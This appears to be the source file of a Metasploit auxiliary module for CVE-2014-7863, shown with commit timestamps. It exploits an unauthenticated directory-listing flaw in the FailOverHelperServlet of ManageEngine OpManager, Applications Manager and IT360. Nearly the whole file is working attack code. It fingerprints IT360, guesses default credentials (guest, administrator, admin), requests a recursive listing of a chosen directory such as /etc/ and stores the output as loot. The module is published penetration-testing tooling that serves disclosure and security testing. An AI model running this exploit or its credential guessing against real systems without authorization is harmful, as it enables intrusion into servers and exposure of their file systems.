Files
metasploit-gs/modules/auxiliary/admin/http/manageengine_dir_listing.rb
T

241 lines
7.0 KiB
Ruby
Raw Normal View History

2015-01-28 19:44:48 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-01-28 19:44:48 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2015-01-28 19:44:48 +00:00
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
2015-01-30 14:08:55 -06:00
'Name' => "ManageEngine Multiple Products Arbitrary Directory Listing",
2015-01-28 19:44:48 +00:00
'Description' => %q{
2015-01-30 14:08:55 -06:00
This module exploits a directory listing information disclosure vulnerability in the
FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. It
makes a recursive listing, so it will list the whole drive if you ask it to list / in
Linux or C:\ in Windows. This vulnerability is unauthenticated on OpManager and
Applications Manager, but authenticated in IT360. This module will attempt to login
using the default credentials for the administrator and guest accounts; alternatively
you can provide a pre-authenticated cookie or a username / password combo. For IT360
targets enter the RPORT of the OpManager instance (usually 8300). This module has been
tested on both Windows and Linux with several different versions. Windows paths have to
2015-01-30 14:08:55 -06:00
be escaped with 4 backslashes on the command line. There is a companion module that
allows for arbitrary file download. This vulnerability has been fixed in Applications
2015-01-30 14:08:55 -06:00
Manager v11.9 b11912 and OpManager 11.6.
2015-01-28 19:44:48 +00:00
},
2015-01-30 14:08:55 -06:00
'Author' =>
2015-01-28 19:44:48 +00:00
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
],
2015-01-30 14:08:55 -06:00
'License' => MSF_LICENSE,
2015-01-28 19:44:48 +00:00
'References' =>
[
2015-01-30 14:08:55 -06:00
['CVE', '2014-7863'],
['OSVDB', '117696'],
2018-09-15 18:54:45 -05:00
['URL', 'https://seclists.org/fulldisclosure/2015/Jan/114'],
2015-10-28 10:45:02 -05:00
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt']
2015-01-28 19:44:48 +00:00
],
'DisclosureDate' => 'Jan 28 2015'))
register_options(
[
Opt::RPORT(80),
2015-01-30 14:13:11 -06:00
OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']),
OptString.new('DIRECTORY', [true, 'Path of the directory to list', '/etc/']),
OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
2015-01-30 15:00:34 -06:00
OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),
OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),
2015-01-30 14:13:11 -06:00
OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])
])
2015-01-28 19:44:48 +00:00
end
2018-08-21 08:50:26 -05:00
def post_auth?
true
end
2015-01-28 19:44:48 +00:00
def get_cookie
2015-01-30 15:00:34 -06:00
cookie = nil
2015-01-28 19:44:48 +00:00
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
})
2015-01-30 14:13:11 -06:00
2015-01-28 19:44:48 +00:00
if res
2015-01-30 15:00:34 -06:00
cookie = res.get_cookies
2015-01-28 19:44:48 +00:00
end
2015-01-30 15:00:34 -06:00
cookie
2015-01-28 19:44:48 +00:00
end
def detect_it360
res = send_request_cgi({
2015-01-30 14:13:11 -06:00
'uri' => '/',
2015-01-28 19:44:48 +00:00
'method' => 'GET'
})
2015-01-30 14:13:11 -06:00
2015-01-28 19:44:48 +00:00
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
return true
end
2015-01-30 14:13:11 -06:00
2015-01-28 19:44:48 +00:00
return false
end
def get_it360_cookie_name
res = send_request_cgi({
'method' => 'GET',
2015-01-30 14:13:11 -06:00
'uri' => normalize_uri('/')
2015-01-28 19:44:48 +00:00
})
2015-01-30 14:13:11 -06:00
2015-01-28 19:44:48 +00:00
cookie = res.get_cookies
2015-01-30 14:13:11 -06:00
2015-01-28 19:44:48 +00:00
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
return $1
else
return nil
end
end
def authenticate_it360(port, path, username, password)
2015-01-30 14:13:11 -06:00
if datastore['DOMAIN_NAME'].nil?
2015-01-28 19:44:48 +00:00
vars_post = {
2015-01-30 14:13:11 -06:00
'LOGIN_ID' => username,
'PASSWORD' => password,
'isADEnabled' => 'false'
2015-01-28 19:44:48 +00:00
}
else
vars_post = {
2015-01-30 14:13:11 -06:00
'LOGIN_ID' => username,
'PASSWORD' => password,
'isADEnabled' => 'true',
'domainName' => datastore['DOMAIN_NAME']
2015-01-28 19:44:48 +00:00
}
end
res = send_request_cgi({
2015-01-30 15:05:46 -06:00
'rport' => port,
2015-01-28 19:44:48 +00:00
'method' => 'POST',
'uri' => normalize_uri(path),
'vars_get' => {
'service' => "OpManager",
'furl' => "/",
'timestamp' => Time.now.to_i
},
'vars_post' => vars_post
})
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
return res.get_cookies
end
2015-01-30 15:00:34 -06:00
nil
2015-01-28 19:44:48 +00:00
end
def login_it360
# Do we already have a valid cookie? If yes, just return that.
2015-01-30 14:13:11 -06:00
unless datastore['IAMAGENTTICKET'].nil?
2015-01-28 19:44:48 +00:00
cookie_name = get_it360_cookie_name
2015-01-30 14:13:11 -06:00
cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
2015-01-28 19:44:48 +00:00
return cookie
end
# get the correct path, host and port
res = send_request_cgi({
'method' => 'GET',
2015-01-30 14:13:11 -06:00
'uri' => normalize_uri('/')
2015-01-28 19:44:48 +00:00
})
if res && res.redirect?
uri = [ res.redirection.port, res.redirection.path ]
else
return nil
end
2015-01-30 15:00:34 -06:00
if datastore['USERNAME'] && datastore['PASSWORD']
2016-02-01 16:06:34 -06:00
print_status("Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")
2015-01-30 15:00:34 -06:00
cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
unless cookie.nil?
2015-01-28 19:44:48 +00:00
return cookie
end
end
2015-01-30 15:00:34 -06:00
2015-01-30 15:02:23 -06:00
default_users = ['guest', 'administrator', 'admin']
2015-01-30 15:00:34 -06:00
2015-01-30 15:02:23 -06:00
default_users.each do |user|
2016-02-01 16:06:34 -06:00
print_status("Trying to authenticate as #{user}...")
2015-01-30 15:02:23 -06:00
cookie = authenticate_it360(uri[0], uri[1], user, user)
unless cookie.nil?
return cookie
end
2015-01-30 15:00:34 -06:00
end
nil
2015-01-28 19:44:48 +00:00
end
def run
# No point to continue if directory is not specified
2015-01-30 14:13:11 -06:00
if datastore['DIRECTORY'].empty?
print_error('Please supply the path of the directory you want to list.')
2015-01-28 19:44:48 +00:00
return
end
if detect_it360
2016-02-01 16:06:34 -06:00
print_status("Detected IT360, attempting to login...")
2015-01-28 19:44:48 +00:00
cookie = login_it360
else
cookie = get_cookie
end
2015-01-30 15:00:34 -06:00
if cookie.nil?
2016-02-01 16:06:34 -06:00
print_error("Failed to get application cookies!")
2015-01-30 15:00:34 -06:00
return
end
2015-01-28 19:44:48 +00:00
servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'
res = send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
})
if res && res.code == 404
servlet = 'FailOverHelperServlet'
end
# Create request
begin
2016-02-01 16:06:34 -06:00
print_status("Listing directory #{datastore['DIRECTORY']}")
2015-01-28 19:44:48 +00:00
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
'vars_get' => {
'operation' => 'listdirectory',
'rootDirectory' => datastore['DIRECTORY']
2015-01-30 15:05:46 -06:00
}
2015-01-28 19:44:48 +00:00
})
rescue Rex::ConnectionRefused
2016-02-01 16:06:34 -06:00
print_error("Could not connect.")
2015-01-28 19:44:48 +00:00
return
end
# Show data if needed
2015-01-30 15:05:46 -06:00
if res && res.code == 200 && res.body
2015-01-28 19:44:48 +00:00
vprint_line(res.body.to_s)
fname = File.basename(datastore['DIRECTORY'])
path = store_loot(
'manageengine.http',
'text/plain',
datastore['RHOST'],
2015-01-30 15:05:46 -06:00
res.body.to_s,
2015-01-28 19:44:48 +00:00
fname
)
print_good("File with directory listing saved in: #{path}")
else
2016-02-01 16:06:34 -06:00
print_error("Failed to list directory.")
2015-01-28 19:44:48 +00:00
end
end
end